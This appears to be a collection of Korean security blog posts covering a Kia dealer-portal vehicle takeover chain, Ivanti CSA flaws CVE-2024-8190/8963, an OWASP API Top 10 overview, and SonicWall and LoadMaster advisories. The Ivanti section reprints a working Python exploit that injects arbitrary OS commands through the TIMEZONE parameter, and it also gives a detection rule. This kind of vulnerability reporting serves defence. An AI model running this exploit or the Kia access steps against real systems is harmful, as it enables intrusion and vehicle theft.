2.3 차량 무단 접근

- JavaScript를 살펴본 결과 차량 등록, 해지, 수정 엔드포인트가 어떻게 동작하는지 파악

[사진 4] 차량 무단 접근

- 다음 4단계를 거치면 차량에 무단 접근이 가능하며, 피해자는 차량 접근 알림이나 권한 변경 사실을 알지 못함

> 번호판을 통해 VIN을 알아낸 뒤 API를 이용해 추적, 잠금 해제, 시동 걸기, 경적 울리기 등의 명령을 수행할 수 있음

① 딜러 토큰 생성 및 HTTP 응답에서 “token” 헤더 추출

- authUser 엔드포인트를 통해 인증하여 세션 토큰 획득

[사진 5] 딜러 토큰 생성

② 피해자의 이메일 주소 및 전화번호 알아내기

- 추가된 세션 토큰 헤더를 통해 kiaconnect.kdealer.com 웹사이트의 모든 딜러 엔드포인트에 접속 및 피해자의 이름, 전화번호, 이메일을 검색할 수 있음

[사진 6] 피해자 정보 조회

③ 유출된 이메일 주소와 VIN으로 기존 소유자의 접근 권한 수정

- 이전 단계에서 얻은 이메일을 이용해 공격자를 기본 계정 소유자로 추가

[사진 7] 차량 소유주 접근 권한 수정

④ 공격자를 차량의 새로운 소유자로 추가

- 공격자의 이메일을 이용해 차량의 소유자로 추가 및 이를 통해 차량에 임의 명령을 보낼 수 있음

[사진 8] 공격자 추가

2.3 PoC용 대시보드 제작

- 공격자는 (1) Kia 차량의 번호판을 입력하고 (2) 소유주 개인 식별 정보를 가져온 뒤 (3) 차량 제어 명령을 실행할 수 있는 개념 증명용 대시보드 개발

- 차량 무단 접근을 시도하는 Exploit 페이지명령 전달과 위치를 추적하는 Garage 페이지로 구성

> 잠긴 Kia 렌트카를 대상으로 테스트 및 문 잠금/해제, 시동 켜기/끄기, 경적 울리기, 위치 추적에 성공

[영상 1] PoC [2]

- 해당 취약점을 Kia에 제보 및 수정 완료

> PoC 도구는 공개되지 않았으며, Kia는 취약점이 악의적으로 악용되지 않았음을 확인

3. 참고

[1] https://samcurry.net/hacking-kia#targeting-kia-dealer-infrastructure
[2] https://www.youtube.com/watch?v=jMHFCpQdZyg
[3] https://news.hada.io/topic?id=16961
[4] https://www.boannews.com/media/view.asp?idx=133232&page=1&kind=1
[5] https://www.dailysecu.com/news/articleView.html?idxno=159771

1. CVE-2024-8190

[사진 1] CVE-2024-8190 [1]

- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점

> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함

영향받는 버전: Ivanti CSA 4.6

 

- DateTimeTab.php의 handleDateTimeSubmit() [2]

> HTTP 요청을 구문 분석
TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출

[사진 2] DateTimeTab.php setSystemTimezone()

- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출

[사진 3] setSystemTimezone()

- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3]
> CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제
> 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨

#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def exploit(url, username, password, command):
    u = username
    p = password
    s = requests.Session()
    r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('--username', help='The application username', required=True)
    parser.add_argument('--password', help='The application password', required=True)
    parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
    args = parser.parse_args()

    exploit(args.url, args.username, args.password, args.command)

[사진 4] 익스플로잇 예시

1.1 CVE-2024-8963

[사진 5] CVE-2024-8963 [4]

- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1)
> 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음
CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음

영향받는 버전: Ivanti CSA 4.6

 

- 벤더사는 업데이트 제공 [5][6]

> 입력값에 대한 검증 과정 추가
CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요 [7]

취약점 영향받는 버전 해결 버전
CVE-2024-8190 Ivanti CSA 4.6 CSA 5.0 (권장)
CVE-2024-8963 CSA 4.6 패치 519

 

- 탐지 패턴 적용

(flow:to_server,established; content:"/gsb/datetime.php"; http_uri; content:"TIMEZONE"; nocase; http_uri;)

2. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-8190
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
[3] https://github.com/horizon3ai/CVE-2024-8190
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-8963
[5] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US
[6] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
[7] https://forums.ivanti.com/s/article/Ivanti-Endpoint-Manager-and-Ivanti-Endpoint-Manager-Security-Suite-EOL?language=en_US#:~:text=CSA%20Physical%20hardware%20will%20be,Fixes%20Only:%20Additional%20twelve%20months.
[8] https://securityaffairs.com/168617/security/ivanti-cloud-services-appliance-cve-2024-8963.html
[9] https://thehackernews.com/2024/09/ivanti-warns-of-active-exploitation-of.html
[10] https://thehackernews.com/2024/09/critical-ivanti-cloud-appliance.html

- API(Application Programming Interface)

> 여러 프로그램들과 데이터베이스, 그리고 기능들의 상호 통신 방법을 규정하고 도와주는 매개체

 

API 유형
REST API
(REpresentational State Transfer)
- HTTP로 하이퍼 미디어 콘텐츠를 전송하기 위한 하나의 아키텍처 스타일
- 6가지 원칙: 통일된 인터페이스, 클라이언트-서버 구조, 상태 없음(Stateless), 캐시 가능(Cacheable), 계층화 시스템, 주문형 코드
- 단순하기 때문에 현재 가장 널리 쓰이는 API
- 단일한 표준 REST 구조 없음, 큰 페이로드, 데이터 과다/과소 가져오기 등 단점
- 데이터 지향형
GraphQL API - 데이터 처리 부담을 서버로 옮김으로써 REST QPI의 데이터 과다/과소 가져오기 문제를 해결
- 장점: 정교한 질의 가능, 중첩, 강 타입 적용, 발견성
- 단점: DoS에 취약, 필요 이상의 많은 데이터 노출
- 데이터 지향형
RPC API
(Remote Procedure Call)
- 클라이언트는 Stub 라이브러리를 이용해 네트워크로 전송되며, 서버는 호출 정보를 복원한 후 서버 쪽 Stub에서 프로시저 실행 및 결과 반환
- 특정 작업을 원격으로 실행해야 하는 명령 지향적 응용 프로그램들에서 주로 쓰임
- 동작 지향형
SOAP API
(Simple Object Access Protocol)
- 서비스 지향적인 XML 기반 웹 통신 프로토콜로, 표준화되어 있음
- 뛰어난 확장성
- 복잡한 구현과 큰 데이터 페이로드
WebSocket API - 웹 소켓 통신 프로토콜에 기반한 API

 

API 데이터 형식
XML
(eXtensible Markup Language)
- 자료형(데이터 타입)과 독립적
- 내용과 표현을 분리하도록 설계
- 확장성
- 복잡성과 큰 용량 문제로  많이 쓰이지는 않음
JSON
(JavaScript Object Notation)
- 데이터는 키-값 쌍들로 표현
- 키는 항상 문자열이므로 큰따옴표로 감싸야 하며, 값은 정수, 부울형, 문자열 또는 널 값
YAML
(YAML Ain't Markup Language)
- JSON의 불편함(주석 지원 X, 유연하지 않은 문법 등)을 해소하기 위해 만들어짐
OAS
(Open API Specification-명세)
- API의 행동을 정의하기 위한, 사람이 읽기 쉬운 표준 규격으로, 개방형 표준
- OAS에 따라 API를 정의할 때는 YAML, JSON 모두 사용가능
- OAS 정의서부터 만든 후 API 개발 및 운영을 진행하는 방식을 설계 우선 접근 방식

 

- API는 데이터 접속의 표준화 및 편의성, 자동화와 확장성 등 많은 장점을 제공

- 그러나, API는 공격자에게도 인기가 많음

타 시스템과의 상호 연결을 위해 공용 네트워크에 노출된 경우가 많아 공격자 발견 및 접근에 용이

개발 및 통합을 위해 문서화가 잘 되어있어 공격자가 API 작동 방식을 파악하는데 용이

스크립트나 전용 도구를 이용해서 손쉽게 공격을 자동화할 수 있음

API핵심 데이터 자산에 대한 접근을 제공하기 위한 것으로, 공격자의 관심을 끌 수 있는 데이터

⑤ 기존 보안 도구들은 API 보안에 적합하지 않음

 

- OWASP 2019 API Top 10을 공개 후 2023년 목록을 갱신 [1]

OWASP API Security Top10 2023
API1:2023 - Broken Object Level Authorization - API는 개체 식별자를 처리하는 엔드포인트를 노출시키는 경향이 있어 개체 수준 액세스 제어 문제의 광범위한 공격 표면 생성
- 사용자의 ID를 사용하여 데이터 소스에 액세스하는 모든 기능에서 객체 권한 수준을 확인해야 함
API2:2023 - Broken Authentication - 인증 메커니즘은 종종 잘못 구현되어 공격자가 인증 토큰을 훼손하거나 구현 결함을 악용하여 일시적 또는 영구적으로 다른 사용자의 ID를 탈취할 수 있음
- 클라이언트/사용자를 식별하는 시스템의 기능을 훼손하면 전반적인 API 보안이 손상됨
API3:2023 - Broken Object Property Level Authorization - API3:2019 과도한 데이터 노출 및 API6:2019 대량 할당을 결합
- 근본 원인인 개체 속성 수준에서 권한 부여 유효성 검사가 부족하거나 부적절한 취약점
- 이에 따라 권한 없는 사람이 정보를 노출하거나 조작할 수 있음
API4:2023 - Unrestricted Resource Consumption - API 요청을 충족하려면 네트워크 대역폭, CPU, 메모리 및 스토리지와 같은 리소스가 필요
- 이메일/SMS/전화 통화 또는 생체 인식 유효성 검사와 같은 기타 리소스는 API 통합을 통해 서비스 공급자가 사용할 수 있으며 요청량에 따라 비용이 빌생
- 이에 따른 서비스 거부 또는 운영 비용이 증가 가능
API5:2023 - Broken Function Level Authorization - 계층, 그룹 및 역할이 다르고 관리 기능과 일반 기능이 명확하지 않은 복잡한 액세스 제어 정책은 권한 부여 문제가 될 수 있음
- 이를 악용해 다른 사용자의 리소스 및/또는 관리 기능에 액세스할 수 있음
API6:2023 - Unrestricted Access to Sensitive Business Flows - 취약한 API는 기능이 자동화된 방식으로 과도하게 사용되면 비즈니스 흐름을 노출
API7:2023 - Server Side Request Forgery - SSRF 결함은 API가 사용자 제공 URI의 유효성을 검사하지 않고 원격 리소스를 가져올 때 발생할 수 있음
- 이를 통해 방화벽이나 VPN으로 보호될 때에도 응용 프로그램이 예기치 않은 대상으로 제작된 요청을 보낼 수 있음
API8:2023 - Security Misconfiguration - API와 이를 지원하는 시스템은 API를 보다 사용자 정의할 수 있도록 하기 위한 복잡한 구성을 포함
- 잘못된 구성을 하여 다양한 유형의 공격 표면을 노출할 수 있음
API9:2023 - Improper Inventory Management - API는 기존 웹 애플리케이션보다 더 많은 엔드포인트를 노출하고 있어 적절한 명세가 업데이트 되어야 함
- 더 이상 사용되지 않는 API 버전 및 노출된 디버그 엔드포인트가 생기지 않도록 문서가 관리 및 갱신되어야 함
API10:2023 - Unsafe Consumption of APIs - 개발자는 사용자 입력보다 서드 파티 API에서 받은 데이터를 더 신뢰하는 경향이 있으므로 더 취약한 보안 표준이 적용될 수 있음

 

- API 보안 목표

> 오용(Misuse), 남용(Abuse)에 대한 고려-자동화된 스크립팅, 봇, 스크래핑 등-정상적인 사용자 활동과 구별이 어려움

> 데이터거버넌스: 통일적인 API 보안 전략에서 꼭 고려할 사항

> 양성 보안 모델: 허용 목록에 미리 등록해둔 정상적 행위자만 API 백엔드에 접근 가능

> 위험 기반 방법론: 위험도 분석에 기반한 API 보안 우선순위 결정

> 접근제어: API에 접근하는 것이 누구인지 확인하는 인증과 누가 API에 접근할 수 있는지를 결정하는 권한 부여

1. SonicOS

- SonicWall이 개발한 네트워크 보안 운영 체제
- 주로 방화벽 및 보안 장비에 사용

2. CVE-2024-40766

[사진 1] CVE-2024-40766 [1]

- SonicWall SonicOS 관리 액세스의 부적절한 액세스 제어 취약성 (CVSS: 9.3)
> 네트워크 자원에 무단 접근을 허용하거나 방화벽을 충돌시켜 네트워크 보호 기능을 무력화할 수 있음
> 취약점이 처음 공개된 당시 SonicOS 관리 액세스 기능에만 영향을 미치는 것으로 알려졌으나, SSLVPN 기능에도 영향을 미치는 것으로 확인됨
취약점과 관련된 구체적인 정보를 공개하지 않았으나, 현재 악용되는 중으로, Akira 랜섬웨어 조직이 취약점을 악용하는 중 [2]

 

- 벤더사 제공 최신 업데이트 적용 [3][4]

> 추가적으로 방화벽 관리 액세스 제한, SSLVPN 비밀번호 재설정, MFA 적용, SSLVPN 액세스 제어 또는 비활성화 등 조치 권고

제품명 영향받는 버던 해결 버전
SOHO (Gen5) 5.9.2.14-12o 이하 5.9.2.14-13o
Gen6 방화벽 - SOHOW, TZ 300, TZ 300W, TZ 400, TZ 400W, TZ 500, TZ 500W, TZ 600, NSA 2650, NSA 3600, NSA 3650, NSA 4600, NSA 4650, NSA 5600, NSA 5650, NSA 6600, NSA 6650, SM 9200, SM 9250, SM 9400, SM 9450, SM 9600, SM 9650, TZ 300P, TZ 600P, SOHO 250, SOHO 250W, TZ 350, TZ 350W 6.5.4.14-109n 이하 6.5.2.8-2n (SM9800, NSsp 12400, NSsp 12800용)
6.5.4.15.116n(다른 Gen6 방화벽 어플라이언스용)
Gen7 방화벽 - TZ270, TZ270W, TZ370, TZ370W, TZ470, TZ470W, TZ570, TZ570W, TZ570P, TZ670, NSa 2700, NSa 3700, NSa 4700, NSa 5700, NSa 6700, NSsp 10700, NSsp 11700, NSsp 13700 SonicOS 빌드 버전 7.0.1-5035 SonicOS 빌드 버전 7.0.1-5035 이후

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-40766
[2] https://arcticwolf.com/resources/blog/arctic-wolf-observes-akira-ransomware-campaign-targeting-sonicwall-sslvpn-accounts/
[3] https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0015
[4] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71546
[5] https://thehackernews.com/2024/09/sonicwall-urges-users-to-patch-critical.html
[6] https://www.securityweek.com/sonicwall-patches-critical-sonicos-vulnerability/
[7] https://www.securityweek.com/recent-sonicwall-firewall-vulnerability-potentially-exploited-in-the-wild/
[8] https://www.dailysecu.com/news/articleView.html?idxno=159256

1. LoadMaster [1]

- Progress Software社에서 개발한 SW
- 대규모 조직에서 앱 성능 최적화, 네트워크 트래픽 관리, 높은 서비스 가용성 보장을 위해 사용하는 ADC 및 부하 분산 솔루션
- Multi-Tenant Hypervisor 버전은 멀티 테넌트 환경을 위해 설계된 LoadMaster 버전으로, 동일한 하드웨어에서 여러 가상 네트워크 기능을 실행할 수 있음

2. CVE-2024-7591

[사진 1] CVE-2024-7591 [2]

- Progress LoadMaster의 부적절한 입력 검증 취약점으로 인한 OS 명령 삽입 취약점 (CVSS: 10.0)
> 조작된 HTTP 요청을 보냄으로써 익스플로잇 해 관리자 인터페이스에 접근할 수 있게 되며, 이후 임의 OS 명령을 실행시킬 수 있음
> PoC 및 악용 시도는 확인되지 않음

영향받는 버전
- LoadMaster <= 7.2.60.0
- Multi-Tenant Hypervisor <= 7.1.35.11

 

- 벤더사는 애드온 패키지를 통해 패치 제공 [3]

> 사용자 입렵 겁증을 추가하여 완화한 것으로 보임
해당 패치는 무료 버전에는 적용되지 않으므로, 무료 버전은 여전히 취약한 상태로 남아있게됨

3. 참고

[1] https://kemptechnologies.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-7591
[3] https://support.kemptechnologies.com/hc/en-us/articles/29196371689613-LoadMaster-Security-Vulnerability-CVE-2024-7591
[4] https://www.bleepingcomputer.com/news/security/progress-loadmaster-vulnerable-to-10-10-severity-rce-flaw/
[5] https://www.boannews.com/media/view.asp?idx=132693&page=3&kind=1

+ Recent posts